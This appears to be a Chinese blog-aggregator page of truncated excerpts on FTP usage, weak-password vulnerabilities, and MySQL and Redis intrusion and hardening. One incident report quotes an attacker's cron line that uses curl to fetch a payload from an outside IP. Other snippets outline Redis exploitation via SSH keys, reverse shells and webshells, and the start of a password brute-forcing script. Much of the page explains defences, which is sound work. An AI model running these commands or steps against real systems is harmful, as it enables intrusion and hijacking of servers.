首先FTP>提示符后面输入open命令加主机名或IP地址，将试图连接指定的主机。 不管使用哪一种方法，如果连接成功，需要在远程机上登录。用户如果在远程机上有帐号，就可以通过ftp使用这一帐号并需要提供口令。在远程机上的用户帐号的读写权限决定该用户在远程机上能下载什么文件和将上载文件放到哪个目录中。FTP>ascii: 设定以ASCII方式传送文件(缺省值) FTP>bell:
转载
2024-06-28 09:59:47
161阅读
1、连接到对方MYSQL 服务器mysql -u root -h 192.168.0.1mysql.exe 这个程序在你安装了MYSQL的的BIN目录中。2、让我们来看看服务器中有些什么数据库mysql>show databases; MYSQL默认安装时会有MYSQL、TEST这两个数据库，如果你看到有其它的数据库那么就是用户自建的数据库。3、让我们进入数据库mysql>use te
转载
2024-07-23 21:04:44
208阅读
互联网中的各种服务一般都对应一个默认端口，有的服务可直接匿名访问服务，而有些可通过爆破用户名以及密码来获得管理员权限。端口对应的服务以及漏洞存在方式----常见的端口漏洞21 FTP 匿名访问，弱口令
22 SSH 弱口令登录
23 Telnet 弱口令登录
80 Web 常见Web漏洞或后台登录弱口令
161 SNMP pub
目录 Redis简介Redis基本常识Redis常用命令 环境搭建注意事项漏洞复现写 ssh-keygen 公钥登录服务器利用计划任务反弹shellRedis直接写webshellRedis主从复制getshell Redis简介Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSI C语言编写、支持网络、可基于内存
转载
2023-10-17 15:22:59
1062阅读
ftp服务器 口令修改 内容精选换一换为了方便用户在管理控制台上进行裸金属服务器实例管理，可快速辨别出每台服务器的名字，华为云支持给每台服务器命名，并且可以随时更改，重启生效。Windows裸金属服务器不支持修改主机名。登录管理控制台。选择“计算 > 裸金属服务器”。进入裸金属服务器页面。进入裸金属服务器页面。单击待修改主机名的裸金属服务器名称，进入详情页面。单击名称后的，输FTP/SFTP
转载
2023-08-18 17:34:05
404阅读
漏洞描述FTP 弱口令或匿名登录漏洞，一般指使用 FTP 的用户启用了匿名登录功能，或系统口令的长度太短、复杂度不够、仅包含数字、或仅包含字母等，容易被黑客攻击，发生恶意文件上传或更严重的入侵行为。漏洞危害黑客利用弱口令或匿名登录漏洞直接登录 FTP 服务，上传恶意文件，从而获取系统权限，并可能造成数据泄露。加固方案不同 FTP 服务软件可能有不同的防护程序，本修复方案以 Windows serv
转载
2024-05-11 13:38:41
446阅读
产生原因与个人习惯和安全意识相关，为了避免忘记密码，使用一个非常容易记住 的密码，或者是直接采用系统的默认密码等。危害通过弱口令，攻击者可以进入后台修改资料，进入金融系统盗取钱财，进入OA系统可以获取企业内部资料，进入监控系统可以进行实时监控等等。防御设置密码通常遵循以下原则： （1）不使用空口令或系统缺省的口令，为典型的弱口令； （2）口令长度不小于8 个字符； （3）口令不应该为连续的某个字符
转载
2024-08-08 09:22:47
51阅读
一、事故原因开发使用测试机redis 1.开放0.0.0.0 2.密码使用弱口令 3.使用root用户运行redis梳理一下被黑过程 扫描服务器端口 –> 弱口令拿到reids权限 –> 反弹shell写入秘钥 –> 肉鸡（修改计划任务，挖矿）贴一下被修改的计划任务，*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.
转载
2024-02-29 07:41:05
250阅读
前天，我发了一张关于MYSQL用户ROOT密码为空的贴，在网上我也找到一些利用此漏洞的方法，一般就是写一个ASP或PHP的后门，不仅很麻烦，而且还要猜解网站的目录，如果对方没有开IIS，那我们岂不没办法了？ 后来，自己思索想到一个办法，在我测试的几台有此漏洞的机中均获得了成功，现将我的攻击方法公布如下： 1、连接到对方MYSQL 服务器 mysql -u root -h
转载
2023-08-23 17:18:11
25阅读
###弱口令的定义 弱口令(weak password) 没有严格和准确的定义，通常认为容易被别人（他们有可能对你很了解）猜测到或被破解工具破解的口令均为弱口令。弱口令指的是仅包含简单数字和字母的口令，例如“123”、“abc”等，因为这样的口令很容易被别人破解，从而使用户的互联网账号受到他人控制，因此不推荐用户使用###弱口令产生原因 这个应该是与个人习惯相关
转载
2023-07-24 16:00:24
25阅读
SSH虽然是安全外壳协议，但是也不能保证绝对的安全。如果管理员安全意识不够或者SSH服务设置不完善，还是会留下许多漏洞给攻击者以可乘之机。 （1）尽量使用基于密钥的认证方式 尽量不要使用密码进行登录，使用口令登录尤其是弱口令很有可能被攻击者破解。使用密钥进行认证，客户端提供的是证书而不是密码，减少了破解的可能性。 （2）禁止使用root用户登录 由于root用户权限高，使用root用户远程
转载
2024-04-25 21:46:50
164阅读
%ftp 主机名/IP /*登录ftp服务器，会提示输入用户名和密码*/
匿名登录：用户名输入：anonymous 密码输入：一个邮箱格式的任意字符串
FTP>ascii: 设定以ASCII方式传送文件(缺省值)
FTP>bell: 每完成一次文件传送,报警提示.
FTP>binary: 设定以二进制方式传送文件.
FTP
转载
2024-06-13 08:56:18
465阅读
产生原因与个人习惯和安全意识相关，为了避免忘记密码，使用一个非常容易记住 的密码，或者是直接采用系统的默认密码等。危害通过弱口令，攻击者可以进入后台修改资料，进入金融系统盗取钱财，进入OA系统可以获取企业内部资料，进入监控系统可以进行实时监控等等。防御设置密码通常遵循以下原则：（1）不使用空口令或系统缺省的口令，为典型的弱口令；（2）口令长度不小于8 个字符；（3）口令不应该为连续的某个字符（例如
转载
2023-12-05 12:30:54
122阅读
上传入侵上传入侵便是通过上传文件来获得权限，针对有上传文件权限的网站实施，好比论坛可以上传附件、资讯站可以投稿上传图片，这些都可能为上传木马提供便利，上传木马以后，很多信息都会轻松暴露出来的。这个漏洞在网站源码中比较常见，被黑客们利用的最为猖獗，利用上传漏洞可以直接得到WEBSHELL，危害等级超级高。防御方法：第三方开源代码要及时升级官方提供的程序补丁；注意对上传的文件进行限制，例如限制文件类型
转载
2024-07-30 08:36:55
9阅读
# FTP扫MySQL弱口令的探讨
## 引言
在网络安全领域，“弱口令”是一种常见的安全隐患，容易被黑客利用。通过暴力破解等方式获取数据库的敏感信息，这种情况屡见不鲜。本文将探讨如何利用FTP连接指南扫描MySQL弱口令，并提供相应的代码示例。
## 弱口令的定义
在计算机安全中，弱口令指的是容易被猜测或破解的密码。常见的弱口令包括“123456”、“password”等。这类密码通常太
原创
2024-09-24 05:02:13
39阅读
Redis漏洞的功守道：搭建实验环境、攻击类型及入侵检测和防范Arch3r 2020-06-28 17:09:52Redis漏洞的功守道 Redis在大公司被大量应用，通过笔者的研究发现，目前在互联网上已经出现Redis未经授权病毒似自动攻击，攻击成功后会对内网进行扫描、控制、感染以及用来进行挖矿、勒索等恶意行为，早期网上曾经分析过一篇文章"通过redis感染linux版本勒索病毒的服务
转载
2023-10-13 14:41:32
329阅读
Redis安全漏洞影响及加固方法Redis安全漏洞影响： 1、 Redis因配置不当可以未授权访问，很容易被攻击者恶意利用。如果Redis以root身份运行，黑客可以给root账户写入SSH公钥文件，直接通过SSH登录、控制服务器，引发重要数据泄露或丢失，严重威胁用户业务和数据安全，风险极高，业界将此漏洞定位为高危漏洞。 2、 当前业界已暴出多起因Redis漏洞导致主机被入侵、业务中断、数据丢失的
转载
2023-08-04 18:14:38
33阅读
今天需要然后就百度搜索了一波，然后自己稍微改了一下：#!/usr/bin/python3
# -*- coding: utf-8 -*-
"""
@Author: 偷来的代码,原作者：r0cky
"""
import socket
import sys
passwds = ['redis','root','oracle','password','p@ssw0rd','abc123!','1234
转载
2023-06-29 14:53:15
178阅读
弱口令漏洞漏洞介绍弱口令也是安全漏洞的一种，是指系统登录口令的设置强度不高，容易被攻击者猜到或破解。造成弱口令的主要原因是系统的运维人员、管理人员安全意识不足。常见的弱口令形式包括：系统出厂默认口令没有修改；密码设置过于简单，如口令长度不足，单一使用字母或数字；使用了生日、姓名、电话号码、身份证号码等比较容易被攻击者猜到的信息设置口令；设置的口令属于流行口令库中的流行口令。防护方法防御的主要思路是
转载
2023-11-01 23:49:05
9阅读
最近做了个政府官网，在后期安全漏洞方面做了很多改进。这里只详细叙述一些因代码而导致的一些漏洞。1、sql注入说白了就是在执行查询操作输入了一下sql语句从而导致暴露数据库的一些额外信息。例如输入'or 1=1'这类。如下图所示，这样就会把所有的数据查询出来。解决办法，如果模块少或者查询少，则在对于的查询方法中在后台做一些处理，如果多的话则写一个过滤器，进行拦截。如下图所示： 2、跨站点脚
转载
2024-06-01 17:03:54
266阅读
